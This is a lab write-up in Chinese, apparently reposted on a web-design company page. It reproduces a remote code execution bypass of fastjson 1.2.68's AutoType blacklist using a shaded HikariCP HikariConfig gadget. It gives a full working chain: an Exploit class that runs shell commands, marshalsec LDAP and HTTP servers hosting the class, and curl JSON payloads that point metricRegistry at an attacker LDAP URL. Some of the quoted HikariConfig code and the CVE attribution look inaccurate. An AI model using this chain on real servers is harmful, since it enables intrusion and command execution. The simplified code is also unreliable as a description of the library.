fastjson shaded HikariCP 黑名单绕过复现
2026/8/15 9:40:03 网站建设 项目流程

fastjson 1.2.68 shaded HikariCP 黑名单绕过复现


一、前言

在 fastjson 的漏洞历史中,1.2.68 版本引入了safeMode核武器级防御,同时完善了denyHashCodes黑名单和DataSource接口检查。很多人以为到了 1.2.68,AutoType 绕过这条路就走到头了。

但实际上,fastjson 1.2.68 的黑名单存在一个根本性设计缺陷:它基于包名前缀的 FNV1a-64 哈希值做匹配,而 Java 生态中广泛使用的 Maven Shade 插件可以重定位包名,让哈希值完全改变,从而绕过黑名单。

本文记录在 fastjson 1.2.68 环境上,使用 shaded HikariCP(重定位包名)+ HikariConfig(绕过 DataSource 检查)绕过两道防线的完整复现过程。


二、环境说明

角色IP说明
Ubuntu 靶机192.168.3.xxxTomcat 9 + JDK 8 + fastjson 1.2.68
Kali 攻击机192.168.3.xxxmarshalsec + HTTP 服务

项目目录:~/lab/fastjson-lab
Tomcat 路径:/opt/tomcat9


三、漏洞原理

3.1 fastjson 1.2.68 的两道核心防线

fastjson 1.2.68 的checkAutoType方法有两道关键防线:

第一道:denyHashCodes 黑名单

if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) { long h = h3; for (int i = 2; i < className.length(); ++i) { h ^= className.charAt(i); h *= PRIME; long hash = hash(h); if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } }

这段代码逐字符计算 FNV1a-64 哈希,和denyHashCodes数组中的 109 个哈希值比对。如果类名前缀的哈希命中黑名单,直接拒绝。

com.zaxxer.hikari.这个前缀的哈希值是0x332F0B5369A18310,在黑名单中。所以任何com.zaxxer.hikari.*下的类都会被拦截。

第二道:DataSource/RowSet/ClassLoader 接口检查

if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz)) { throw new JSONException("autoType is not support. " + typeName); }

类加载成功后,检查目标类是否实现了DataSourceRowSetClassLoader三个危险接口。如果是,直接拒绝。

HikariDataSource实现了javax.sql.DataSource,所以即使过了黑名单,也会被这道防线拦截。

3.2 绕过思路:Shade 重定位 + HikariConfig

绕第一道墙:Maven Shade 重定位包名

Maven Shade 插件可以把依赖库的包名重定位。把com.zaxxer.hikari重定位为com.lab.shaded.hikari后:

原始包名shade 后包名
com.zaxxer.hikari.HikariConfigcom.lab.shaded.hikari.HikariConfig
com.zaxxer.hikari.HikariDataSourcecom.lab.shaded.hikari.HikariDataSource

包名变了,FNV1a-64 哈希值也完全变了,黑名单匹配不上 → 绕过。

绕第二道墙:用 HikariConfig 而非 HikariDataSource

HikariCP 的类继承关系:

HikariConfig(父类) ├── 定义了 setMetricRegistry(Object) 方法 → 内部做 JNDI lookup ├── 不实现 javax.sql.DataSource → 过第二道墙 ✅ │ └── HikariDataSource(子类,继承 HikariConfig) ├── 继承 setMetricRegistry() → 同样能触发 JNDI └── 实现 javax.sql.DataSource → 被第二道墙拦 ❌

setMetricRegistry()这个触发 JNDI 的方法定义在父类HikariConfig上。直接用HikariConfig,JNDI 照样触发,但它不实现DataSource,绕过接口检查。

3.3 完整绕过路径

shaded HikariConfig(包名被重定位为 com.lab.shaded.hikari) → 第一道墙:denyHashCodes 黑名单哈希检查 → 原始包名 com.zaxxer.hikari. 的哈希在黑名单里 → 但 shade 后包名变了,哈希变了,匹配不上 → 通过 ✅ → 第二道墙:DataSource 接口检查 → HikariConfig 不实现 DataSource → 通过 ✅ → 类加载成功,创建实例 → 调用 setMetricRegistry("ldap://...") → 触发 JNDI lookup → 远程加载 Exploit.class → 命令执行

3.4 四种组合对比

黑名单DataSource 检查结果
com.zaxxer.hikari.HikariDataSource❌ 命中❌ 命中两道都死
com.zaxxer.hikari.HikariConfig❌ 命中✅ 通过死在黑名单
com.lab.shaded.hikari.HikariDataSource✅ 通过❌ 命中死在 DataSource
com.lab.shaded.hikari.HikariConfig✅ 通过✅ 通过两道都过 ✅

只有 shaded + HikariConfig 的组合能同时绕过两道防线。

3.5 前提条件

条件要求原因
AutoType开启需要进入 checkAutoType 的黑名单检查路径
safeMode关闭safeMode 开了所有 @type 直接禁用
JDK 版本≤ 8u190LDAP 远程类加载需要 trustURLCodebase=true

四、环境搭建

4.1 创建 shaded-hikari 子项目

先单独打一个 shaded HikariCP 的 JAR,再在主项目中引用。

mkdir -p ~/lab/shaded-hikari/src/main/java cd ~/lab/shaded-hikari nano pom.xml

完整 pom.xml:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;groupId&gt;com.lab&lt;/groupId&gt; &lt;artifactId&gt;shaded-hikari&lt;/artifactId&gt; &lt;version&gt;1.0&lt;/version&gt; &lt;packaging&gt;jar&lt;/packaging&gt; &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;com.zaxxer&lt;/groupId&gt; &lt;artifactId&gt;HikariCP&lt;/artifactId&gt; &lt;version&gt;3.4.5&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;build&gt; &lt;finalName&gt;shaded-hikari&lt;/finalName&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt; &lt;version&gt;3.8.1&lt;/version&gt; &lt;configuration&gt; &lt;source&gt;8&lt;/source&gt; &lt;target&gt;8&lt;/target&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-shade-plugin&lt;/artifactId&gt; &lt;version&gt;3.2.4&lt;/version&gt; &lt;executions&gt; &lt;execution&gt; &lt;phase&gt;package&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;shade&lt;/goal&gt; &lt;/goals&gt; &lt;configuration&gt; &lt;relocations&gt; &lt;relocation&gt; &lt;pattern&gt;com.zaxxer.hikari&lt;/pattern&gt; &lt;shadedPattern&gt;com.lab.shaded.hikari&lt;/shadedPattern&gt; &lt;/relocation&gt; &lt;/relocations&gt; &lt;createDependencyReducedPom&gt;false&lt;/createDependencyReducedPom&gt; &lt;/configuration&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; </project>

打包并安装到本地 Maven 仓库:

cd ~/lab/shaded-hikari mvn clean install

验证 shade 是否生效:

jar tf target/shaded-hikari.jar | grep -i hikari

应该看到包名已经变成com/lab/shaded/hikari/

com/lab/shaded/hikari/HikariConfig.class com/lab/shaded/hikari/HikariDataSource.class ...

4.2 修改主项目 pom.xml

cd ~/lab/fastjson-lab nano pom.xml

完整内容:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;groupId&gt;com.lab&lt;/groupId&gt; &lt;artifactId&gt;fastjson-lab&lt;/artifactId&gt; &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt; &lt;packaging&gt;war&lt;/packaging&gt; &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;com.alibaba&lt;/groupId&gt; &lt;artifactId&gt;fastjson&lt;/artifactId&gt; &lt;version&gt;1.2.68&lt;/version&gt; &lt;/dependency&gt; &lt;!-- 使用 shaded 版本的 HikariCP,包名已重定位 --&gt; &lt;dependency&gt; &lt;groupId&gt;com.lab&lt;/groupId&gt; &lt;artifactId&gt;shaded-hikari&lt;/artifactId&gt; &lt;version&gt;1.0&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;javax.servlet&lt;/groupId&gt; &lt;artifactId&gt;javax.servlet-api&lt;/artifactId&gt; &lt;version&gt;3.1.0&lt;/version&gt; &lt;scope&gt;provided&lt;/scope&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;build&gt; &lt;finalName&gt;fastjson-lab&lt;/finalName&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt; &lt;version&gt;3.8.1&lt;/version&gt; &lt;configuration&gt; &lt;source&gt;8&lt;/source&gt; &lt;target&gt;8&lt;/target&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; </project>

4.3 修改 ParseServlet.java — 开启 AutoType

nano src/main/java/com/lab/ParseServlet.java

完整内容:

package com.lab; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; @WebServlet("/parse") public class ParseServlet extends HttpServlet { @Override public void init() { // 开启 AutoType —— 本次复现的前提条件 // 实战中开发者经常为了序列化业务类而开启 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); } @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType("text/plain;charset=UTF-8"); resp.getWriter().write("fastjson lab is running"); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { StringBuilder sb = new StringBuilder(); BufferedReader br = req.getReader(); String line; while ((line = br.readLine()) != null) { sb.append(line); } resp.setContentType("text/plain;charset=UTF-8"); try { Object obj = JSON.parseObject(sb.toString(), Object.class); resp.getWriter().write("parse success\n"); resp.getWriter().write(String.valueOf(obj)); } catch (Throwable e) { resp.setStatus(500); resp.getWriter().write("parse error\n"); e.printStackTrace(resp.getWriter()); } } }

关键点:init()方法中调用setAutoTypeSupport(true)开启 AutoType。这个方法在 Servlet 初始化时自动执行。

4.4 web.xml — 保持空

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> </web-app>

4.5 确认 safeMode 没开

grep -R "safeMode" /opt/tomcat9/bin/ /opt/tomcat9/conf/ # 无输出就对了

五、打包与部署

5.1 重新打包

cd ~/lab/fastjson-lab mvn clean package

看到BUILD SUCCESS后,验证 WAR 内容:

jar tf target/fastjson-lab.war | grep -i hikari

应该看到:

WEB-INF/lib/shaded-hikari-1.0.jar

解开验证 shade 后的包名:

cd /tmp jar xf ~/lab/fastjson-lab/target/fastjson-lab.war WEB-INF/lib/shaded-hikari-1.0.jar jar tf WEB-INF/lib/shaded-hikari-1.0.jar | grep -i HikariConfig

应该看到:

com/lab/shaded/hikari/HikariConfig.class

包名已经是com.lab.shaded.hikari,shade 生效了。

5.2 部署到 Tomcat

# 停 Tomcat sudo /opt/tomcat9/bin/shutdown.sh 清旧部署 sudo rm -rf /opt/tomcat9/webapps/fastjson-lab sudo rm -f /opt/tomcat9/webapps/fastjson-lab.war 放新 war sudo cp target/fastjson-lab.war /opt/tomcat9/webapps/ 启动 Tomcat sudo /opt/tomcat9/bin/startup.sh

等 5 秒,确认部署:

# 确认 fastjson 版本 ls /opt/tomcat9/webapps/fastjson-lab/WEB-INF/lib/ | grep -E "fastjson|shaded" # 应该看到: fastjson-1.2.68.jar 和 shaded-hikari-1.0.jar 测试接口 curl http://127.0.0.1:8080/fastjson-lab/parse 返回: fastjson lab is running

六、攻击机准备(Kali)

6.1 编写 Exploit.java

mkdir -p ~/fastjson-exp cd ~/fastjson-exp nano Exploit.java
public class Exploit { static { try { String[] cmd = {"/bin/sh", "-c", "whoami > /tmp/pwned_shaded"}; Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }

编译:

javac --release 8 Exploit.java ls -l Exploit.class

6.2 靶机清理旧结果

在靶机上执行:

sudo rm -f /tmp/pwned_shaded sudo rm -f /tmp/pwned_1268

6.3 启动 HTTP 服务(终端 1)

cd ~/fastjson-exp python3 -m http.server 8000

6.4 启动 LDAP 服务(终端 2)

cd ~/marshalsec java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \ marshalsec.jndi.LDAPRefServer "http://192.168.3.xxx:8000/#Exploit" 1389

七、漏洞复现

7.1 验证 AutoType 已开启

先发一个普通 JdbcRowSetImpl 测试。AutoType 开了,但 JdbcRowSetImpl 在黑名单里,应该被拦:

curl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H "Content-Type: application/json" \ -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.xxx:1389/Exploit","autoCommit":true}'

期望返回 500,包含:

autoType is not support. com.sun.rowset.JdbcRowSetImpl

这说明:AutoType 开了(能进入 checkAutoType),但黑名单生效(JdbcRowSetImpl 被拦)。环境正确。

7.2 测试原始包名 HikariConfig(预期失败)

curl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H "Content-Type: application/json" \ -d '{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://192.168.3.xxx:1389/Exploit"}'

期望返回 500,包含:

autoType is not support. com.zaxxer.hikari.HikariConfig

这说明:原始包名com.zaxxer.hikari.在黑名单里,被拦了。

7.3 发送 shaded HikariConfig payload(预期成功)

curl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H "Content-Type: application/json" \ -d '{"@type":"com.lab.shaded.hikari.HikariConfig","metricRegistry":"ldap://192.168.3.xxx:1389/Exploit"}'

7.4 观察攻击链路

LDAP 窗口(终端 2)应该看到:

Send LDAP reference result for Exploit redirecting to http://192.168.3.130:8000/Exploit.class

HTTP 窗口(终端 1)应该看到:

192.168.3.136 - - "GET /Exploit.class HTTP/1.1" 200

7.5 靶机验证

cat /tmp/pwned_shaded

输出用户名(如root),说明 shaded Hikari 绕过复现成功。


八、完整攻击链路图

Kali (192.168.3.xxx) Ubuntu 靶机 (192.168.3.xxx) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 终端1: python3 -m http.server 8000 (托管 Exploit.class) 终端2: marshalsec LDAP :1389 (LDAP reference 重定向) 终端3: curl 发送 payload POST http://192.168.3.xxx:8080/fastjson-lab/parse { "@type": "com.lab.shaded.hikari.HikariConfig", "metricRegistry": "ldap://192.168.3.xxx:1389/Exploit" } → fastjson 解析 JSON → AutoType 开启,进入 checkAutoType → 第一道墙:黑名单哈希检查 com.lab.shaded.hikari. 的哈希 不在 denyHashCodes 里 → 通过 ✅ → 第二道墙:DataSource 接口检查 HikariConfig 不实现 DataSource → 通过 ✅ → 类加载成功,创建 HikariConfig 实例 → 调用 setMetricRegistry("ldap://...") → 内部执行 InitialContext().lookup() → 触发 JNDI 查找 → 访问 Kali LDAP :1389 ← LDAP 返回 reference → 靶机去 Kali :8000 下载 Exploit.class ← 返回 Exploit.class → 加载 Exploit.class → static 代码块执行 → whoami > /tmp/pwned_shaded 靶机验证: cat /tmp/pwned_shaded → root ✅

九、源码深度分析

9.1 checkAutoType 完整执行路径

当 fastjson 收到 payload:

{"@type":"com.lab.shaded.hikari.HikariConfig","metricRegistry":"ldap://192.168.3.130:1389/Exploit"}

checkAutoType方法的执行路径如下:

关卡 1:safeMode 检查

boolean safeMode = this.safeMode || (features & safeModeMask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0; if (safeMode) { throw new JSONException("safeMode not support autoType : " + typeName); }

我们的环境safeMode = false→ 通过 ✅

关卡 2:类型名长度检查

if (typeName.length() >= 192 || typeName.length() < 3) { throw new JSONException("autoType is not support. " + typeName); }

com.lab.shaded.hikari.HikariConfig长度 38,在 3~192 之间 → 通过 ✅

关卡 3:expectClass 判定

final boolean expectClassFlag; if (expectClass == null) { expectClassFlag = false; } else { if (expectClass == Object.class || expectClass == Serializable.class || expectClass == Cloneable.class || expectClass == Closeable.class || expectClass == EventListener.class || expectClass == Iterable.class || expectClass == Collection.class ) { expectClassFlag = false; } else { expectClassFlag = true; } }

本次没有双 @type,expectClass = nullexpectClassFlag = false。但 AutoType 开了,不影响后续流程。

关卡 4:黑名单哈希检查—— 核心关卡

if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) { // autoTypeSupport = true → 条件成立,进入检查 long h = h3; for (int i = 2; i < className.length(); ++i) { h ^= className.charAt(i); h *= PRIME; long hash = hash(h); if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } }

逐字符扫描com.lab.shaded.hikari.HikariConfig

前缀 com. → 哈希不在黑名单 前缀 com.l → 哈希不在黑名单 前缀 com.lab → 哈希不在黑名单 ... 前缀 com.lab.shaded.hikari. → 哈希不在黑名单 ...(全程不命中) 前缀 com.lab.shaded.hikari.HikariConfig → 全程不命中

对比原始包名com.zaxxer.hikari.

前缀 com.zaxxer.hikari. → 哈希 = 0x332F0B5369A18310 → 命中黑名单 ❌

shade 重定位后包名完全变了,哈希完全变了,黑名单匹配不上 → 通过 ✅

关卡 5:第二次黑名单检查

同样的哈希检查,shaded 包名同样不命中 → 通过 ✅

关卡 6:类加载 + DataSource 检查—— 第二道核心关卡

if (autoTypeSupport || jsonType || expectClassFlag) { // autoTypeSupport = true → 执行类加载 clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } if (clazz != null) { // 关卡 6:DataSource 接口检查 if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz)) { throw new JSONException("autoType is not support. " + typeName); } // ... return clazz; }

检查com.lab.shaded.hikari.HikariConfig

检查项结果
是 ClassLoader?否 ✅
是 DataSource?否 ✅(HikariConfig 不实现 DataSource)
是 RowSet?否 ✅

如果这里用的是HikariDataSource

  • 是 DataSource? →是 ❌ → 被拦

所以必须用 HikariConfig → 通过 ✅

关卡 7:实例化 + setter 调用

fastjson 加载类成功后,创建 HikariConfig 实例,看到metricRegistry属性,调用:

// HikariConfig.setMetricRegistry(Object) 方法内部 public void setMetricRegistry(Object metricRegistry) { // 内部执行 JNDI lookup InitialContext ctx = new InitialContext(); ctx.lookup((String) metricRegistry); // metricRegistry = "ldap://192.168.3.130:1389/Exploit" // → 触发 JNDI lookup }

→ JNDI 请求发出 → LDAP 返回 Reference → 下载 Exploit.class → 命令执行

9.2 FNV1a-64 哈希算法详解

fastjson 使用 FNV1a-64 算法计算类名前缀哈希:

final long BASIC = 0xcbf29ce484222325L; // FNV1a-64 初始值 final long PRIME = 0x100000001b3L; // FNV1a-64 质数 // 逐字符计算 long hash = BASIC; for (char c : className.toCharArray()) { hash = (hash ^ c) * PRIME; }

com.zaxxer.hikari.为例:

初始值 = 0xcbf29ce484222325 ^ 'c'(0x63) → * PRIME → 更新哈希 ^ 'o'(0x6f) → * PRIME → 更新哈希 ^ 'm'(0x6d) → * PRIME → 更新哈希 ...(逐字符处理) ^ '.'(0x2e) → * PRIME → 最终哈希 = 0x332F0B5369A18310

这个哈希值在denyHashCodes数组中,所以被拦截。

shade 后的com.lab.shaded.hikari.

初始值 = 0xcbf29ce484222325 ^ 'c' → * PRIME → ... ^ 'o' → * PRIME → ... ^ 'm' → * PRIME → ... ^ '.' → * PRIME → ... ^ 'l' → * PRIME → ...(和原始包名在第 4 个字符就分叉了) → 最终哈希 = 一个完全不同的值,不在黑名单里

从第 4 个字符开始,com.lcom.z的哈希路径就完全不同了,最终哈希值天差地别。


十、核心教学意义

10.1 哈希黑名单的根本缺陷

fastjson 的 denyHashCodes 黑名单基于包名前缀的哈希值匹配。这种方式有两个根本缺陷:

缺陷 1:只能拉黑已知包名

黑名单里的 109 个哈希值对应的是已知危险类的包名前缀。任何不在列表中的包名(包括重定位后的同构类)都能绕过。

缺陷 2:Shade 重定位让哈希完全改变

Maven Shade 是 Java 生态中非常常见的操作,很多大型项目都会 shade 第三方依赖避免冲突。shade 后包名改变,哈希值也跟着改变,黑名单完全失效。

10.2 接口检查的不完整性

DataSource 接口检查只检查了目标类本身,没有考虑继承关系。JNDI 触发方法在父类 HikariConfig 上,但 DataSource 接口在子类 HikariDataSource 上。用父类就能绕过子类的接口检查。

10.3 纵向绕过 vs 横向绕过

绕过类型思路本次示例
纵向绕过同一个库的继承链上下移动用 HikariConfig(父类)绕 HikariDataSource(子类)的 DataSource 检查
横向绕过在不同库之间横跳shade 重定位让包名脱离黑名单覆盖范围

shaded Hikari 同时使用了纵向和横向绕过,两道防线同时攻破。


十一、与 expectClass 绕过的对比

expectClass 绕过shaded Hikari 绕过
AutoType关闭开启
绕的第一道AutoType 关闭(用 expectClass 通道)黑名单(用 shade 重定位)
绕的第二道不需要DataSource 检查(用 HikariConfig 父类)
payload 类型双 @type单 @type
gadget 来源自定义类第三方库(shade 后)
前提条件safeMode 关闭safeMode 关闭 + AutoType 开启
教学意义expectClass 机制的设计缺陷哈希黑名单的根本缺陷

两个绕过利用的是 fastjson 1.2.68 的两个完全不同的设计缺陷。


十二、验证清单

检查项期望结果
Tomcat 中实际 jar 是 fastjson-1.2.68.jar
AutoType 已开启,safeMode 未开启
原始包名 HikariConfig 返回 autoType is not support✅ 证明黑名单生效
shaded HikariConfig 触发 JNDI✅ 证明绕过成功
LDAP 窗口有 Send LDAP reference result
HTTP 窗口有 GET /Exploit.class 200
靶机 cat /tmp/pwned_shaded 输出用户名✅ 证明命令执行

十三、总结

fastjson 1.2.68 的 denyHashCodes 黑名单虽然扩展到了 109 条,覆盖了绝大多数已知危险类,但它的根本设计缺陷在于:基于包名哈希的黑名单无法防御重定位后的同构类

Maven Shade 是 Java 生态中非常常见的操作,这让 shaded Hikari 绕过在实战中具有实际意义。配合 HikariConfig 绕过 DataSource 接口检查,两道防线同时被攻破。

这说明黑名单防御模式的局限性:只能覆盖已知威胁,无法防御未知变体。这也是 fastjson 最终在 1.2.83 之后选择重写 fastjson 2.x 的根本原因之一。


漏洞编号:CVE-2022-25845
影响范围:fastjson ≤ 1.2.80
修复版本:fastjson 1.2.83
CVSS 3.x:8.1(高危)

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询